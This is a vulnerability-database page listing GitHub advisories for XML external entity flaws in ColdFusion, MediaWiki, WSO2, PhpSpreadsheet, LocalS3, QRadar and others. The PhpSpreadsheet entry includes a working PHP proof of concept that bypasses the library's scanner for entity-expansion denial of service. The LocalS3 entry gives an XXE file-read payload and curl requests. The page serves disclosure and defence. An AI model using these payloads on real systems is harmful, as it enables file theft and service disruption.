Vulnerability-Lookup

GHSA-RWPC-FVP2-P5WP

Vulnerability from github – Published: 2025-07-08 21:30 – Updated: 2025-07-08 21:30

Details

ColdFusion versions 2025.2, 2023.14, 2021.20 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in a security feature bypass. A high-privileged attacker could leverage this vulnerability to access sensitive information. Exploitation of this issue does not require user interaction. The vulnerable component is restricted to internal IP addresses.

Severity

4.5 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-49539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T21:15:26Z",
    "severity": "MODERATE"
  },
  "details": "ColdFusion versions 2025.2, 2023.14, 2021.20 and earlier are affected by an Improper Restriction of XML External Entity Reference (\u0027XXE\u0027) vulnerability that could result in a security feature bypass. A high-privileged attacker could leverage this vulnerability to access sensitive information. Exploitation of this issue does not require user interaction. The vulnerable component is restricted to internal IP addresses.",
  "id": "GHSA-rwpc-fvp2-p5wp",
  "modified": "2025-07-08T21:30:28Z",
  "published": "2025-07-08T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49539"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb25-69.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RWQH-HFR8-59C3

Vulnerability from github – Published: 2022-05-17 00:25 – Updated: 2022-05-17 00:25

Details

The getid3 library in MediaWiki before 1.24.1, 1.23.8, 1.22.15 and 1.19.23 allows remote attackers to read arbitrary files, cause a denial of service, or possibly have other impact via an XML External Entity (XXE) attack. NOTE: Related to CVE-2014-2053.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-9487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-17T14:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The getid3 library in MediaWiki before 1.24.1, 1.23.8, 1.22.15 and 1.19.23 allows remote attackers to read arbitrary files, cause a denial of service, or possibly have other impact via an XML External Entity (XXE) attack.  NOTE: Related to CVE-2014-2053.",
  "id": "GHSA-rwqh-hfr8-59c3",
  "modified": "2022-05-17T00:25:34Z",
  "published": "2022-05-17T00:25:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9487"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1175828"
    },
    {
      "type": "WEB",
      "url": "https://lists.wikimedia.org/pipermail/mediawiki-announce/2014-December/000173.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201502-04"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/01/03/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RX7G-4GVJ-H8M6

Vulnerability from github – Published: 2022-05-14 02:46 – Updated: 2025-04-20 03:32

Details

XML external entity (XXE) vulnerability in the XACML flow feature in WSO2 Identity Server 5.1.0 before WSO2-CARBON-PATCH-4.4.0-0231 allows remote authenticated users with access to XACML features to read arbitrary files, cause a denial of service, conduct server-side request forgery (SSRF) attacks, or have unspecified other impact via a crafted XACML request to entitlement/eval-policy-submit.jsp. NOTE: this issue can be combined with CVE-2016-4311 to exploit the vulnerability without credentials.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2016-4312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-17T02:59:00Z",
    "severity": "HIGH"
  },
  "details": "XML external entity (XXE) vulnerability in the XACML flow feature in WSO2 Identity Server 5.1.0 before WSO2-CARBON-PATCH-4.4.0-0231 allows remote authenticated users with access to XACML features to read arbitrary files, cause a denial of service, conduct server-side request forgery (SSRF) attacks, or have unspecified other impact via a crafted XACML request to entitlement/eval-policy-submit.jsp.  NOTE: this issue can be combined with CVE-2016-4311 to exploit the vulnerability without credentials.",
  "id": "GHSA-rx7g-4gvj-h8m6",
  "modified": "2025-04-20T03:32:58Z",
  "published": "2022-05-14T02:46:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4312"
    },
    {
      "type": "WEB",
      "url": "https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0096"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/40239"
    },
    {
      "type": "WEB",
      "url": "http://hyp3rlinx.altervista.org/advisories/WSO2-IDENTITY-SERVER-v5.1.0-XML-External-Entity.txt"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/138329/WSO2-Identity-Server-5.1.0-XML-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/539199/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/92485"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXJ4-H86G-25GC

Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38

Summary

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

Details

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack	PHP < 8.0 / libxml2 < 2.9	PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup)	Exploitable	Exploitable
Local file read via SYSTEM entity	Exploitable	Blocked by default
SSRF via SYSTEM entity	Exploitable	Blocked by default
File read when LIBXML_NOENT is used	Exploitable	Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:38:22Z",
    "nvd_published_at": "2026-10-22T18:17:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan\u0027s pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87\u2013108) \u2014 checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = \u0027/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/\u0027;\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79\u2013117) \u2014 scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120\u2013150) \u2014 re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       \u0026#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#38;) = \u0026\n                         |\nStored:         \u0026#60;!DOCTYPE\n                         |\n2nd scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE \u2190 never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54\u201361) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; \u2192 \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; \u2192 \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat(\u0027A\u0027, 100000);\n$refs = str_repeat(\u0027\u0026big;\u0027, 200);\n\n$xml = \u0027\u003c?xml version=\"1.0\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u0026#38;#60;!DOCTYPE Workbook [\u0027 . \"\\n\"\n    . \u0027  \u0026#38;#60;!ENTITY big \"\u0027 . $entity_value . \u0027\"\u003e\u0027 . \"\\n\"\n    . \u0027]\u003e\u0027 . \"\\n\"\n    . \u0027\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\u0027 . \"\\n\"\n    . \u0027  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\u0027 . \"\\n\"\n    . \u0027  \u003cWorksheet ss:Name=\"Sheet1\"\u003e\u0027 . \"\\n\"\n    . \u0027    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e\u0027 . $refs . \u0027\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e\u0027 . \"\\n\"\n    . \u0027  \u003c/Worksheet\u003e\u0027 . \"\\n\"\n    . \u0027\u003c/Workbook\u003e\u0027;\n\nfile_put_contents(\u0027poc.xml\u0027, $xml);\necho \"File size: \" . filesize(\u0027poc.xml\u0027) . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead(\u0027poc.xml\u0027) ? \u0027true\u0027 : \u0027false\u0027) . \"\\n\";\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell(\u0027A1\u0027)-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet\u0027s max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` \u2014 both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet\u0027s `Xml` reader is vulnerable.",
  "id": "GHSA-rxj4-h86g-25gc",
  "modified": "2026-10-27T15:38:23Z",
  "published": "2026-10-27T15:38:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service"
}

GHSA-V232-254C-M6P7

Vulnerability from github – Published: 2025-03-10 18:29 – Updated: 2025-03-10 18:29

Summary

LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API

Details

Description

The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.

When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.

The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.

Steps to Reproduce

Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)
Send a PUT request to the bucket tagging endpoint with the following XML payload: ```xml

]> xxe&xxe; ```

```
curl -X PUT \
     -H "Host: app" \
     -H "Authorization: AWS dummy:dummy" \
     -H "Content-Type: application/xml" \
     --data-binary @xxe.xml \
     http://app/bucket?tagging
```

Retrieve the bucket tags using a GET request to the same endpoint

curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?tagging
The content of the targeted file will be returned in the tag value

The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.

Mitigations

Disable XML external entity resolution in the XML parser configuration
Implement proper XML parsing security controls such as disabling DTD processing altogether
Use a safe parser configuration that doesn't process external entities or DTDs by default
Validate and sanitize all XML input before processing to prevent injection of malicious entities

Impact

Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.robothy:local-s3-rest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:29:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\nThe LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.\n\nWhen processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server\u0027s filesystem by defining an external entity that references local files.\n\nThe vulnerability is particularly severe because it allows direct access to sensitive files on the server\u0027s filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.\n\n## Steps to Reproduce\n1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)\n2. Send a PUT request to the bucket tagging endpoint with the following XML payload:\n   ```xml\n   \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n   \u003c!DOCTYPE data [\n       \u003c!ENTITY xxe SYSTEM \"file:///flag.txt\" \u003e\n   ]\u003e\n   \u003cTagging\u003e\u003cTagSet\u003e\u003cTag\u003e\u003cKey\u003exxe\u003c/Key\u003e\u003cValue\u003e\u0026xxe;\u003c/Value\u003e\u003c/Tag\u003e\u003c/TagSet\u003e\u003c/Tagging\u003e\n   ```\n\n    ```\n    curl -X PUT \\\n         -H \"Host: app\" \\\n         -H \"Authorization: AWS dummy:dummy\" \\\n         -H \"Content-Type: application/xml\" \\\n         --data-binary @xxe.xml \\\n         http://app/bucket?tagging\n    ```\n\n3. Retrieve the bucket tags using a GET request to the same endpoint\n\n    ```\n    curl -H \"Authorization: AWS dummy:dummy\" http://app-1/bucket?tagging\n    ```\n\n4. The content of the targeted file will be returned in the tag value\n\nThe successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server\u0027s filesystem.\n\n## Mitigations\n- Disable XML external entity resolution in the XML parser configuration\n- Implement proper XML parsing security controls such as disabling DTD processing altogether\n- Use a safe parser configuration that doesn\u0027t process external entities or DTDs by default\n- Validate and sanitize all XML input before processing to prevent injection of malicious entities\n\n## Impact\nCritical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server\u0027s filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.",
  "id": "GHSA-v232-254c-m6p7",
  "modified": "2025-03-10T18:29:27Z",
  "published": "2025-03-10T18:29:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Robothy/local-s3/security/advisories/GHSA-v232-254c-m6p7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Robothy/local-s3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API"
}

GHSA-V25C-C5F5-PWX9

Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-05 18:31

Details

IBM QRadar 7.6.0.0 through 7.6.0.1, and 7.5.0 through 7.5.0 UP 15 Interim Fix 005 has an XML External Entity (XXE) injection vulnerability. The vulnerability resides in the parseXmlPayload() function within the event processing pipeline ( q1labs_core.jar ). When at least one log source type is configured to use XML-format property autodetection, the system processes XML-formatted syslog events sent to port 514 (UDP/TCP) without authentication.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-10025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T16:16:49Z",
    "severity": "HIGH"
  },
  "details": "IBM QRadar 7.6.0.0 through 7.6.0.1, and 7.5.0 through 7.5.0 UP 15 Interim Fix 005 has an XML External Entity (XXE) injection vulnerability. The vulnerability resides in the parseXmlPayload() function within the event processing pipeline ( q1labs_core.jar ). When at least one log source type is configured to use XML-format property autodetection, the system processes XML-formatted syslog events sent to port 514 (UDP/TCP) without authentication.",
  "id": "GHSA-v25c-c5f5-pwx9",
  "modified": "2026-08-05T18:31:35Z",
  "published": "2026-08-05T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10025"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7282394"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2H5-C2MM-JM6R

Vulnerability from github – Published: 2022-05-14 01:37 – Updated: 2022-05-14 01:37

Details

S3 Browser before 8.1.5 contains an XML external entity (XXE) vulnerability, allowing remote attackers to read arbitrary files and obtain NTLMv2 hash values by tricking a user into connecting to a malicious server via the S3 protocol.

Severity

6.5 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-20298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-19T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "S3 Browser before 8.1.5 contains an XML external entity (XXE) vulnerability, allowing remote attackers to read arbitrary files and obtain NTLMv2 hash values by tricking a user into connecting to a malicious server via the S3 protocol.",
  "id": "GHSA-v2h5-c2mm-jm6r",
  "modified": "2022-05-14T01:37:00Z",
  "published": "2022-05-14T01:37:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20298"
    },
    {
      "type": "WEB",
      "url": "https://s3browser.com/news.aspx"
    },
    {
      "type": "WEB",
      "url": "https://www.ptsecurity.com/ww-en/analytics/threatscape/pt-2018-34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2HX-P2CQ-5WM5

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47

Details

The Microsoft Common Console Document (.msc) in Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1 allows an attacker to read arbitrary files via an XML external entity (XXE) declaration, due to the way that the Microsoft Common Console Document (.msc) parses XML input containing a reference to an external entity, aka "Windows Information Disclosure Vulnerability".

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-8710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-13T01:29:00Z",
    "severity": "MODERATE"
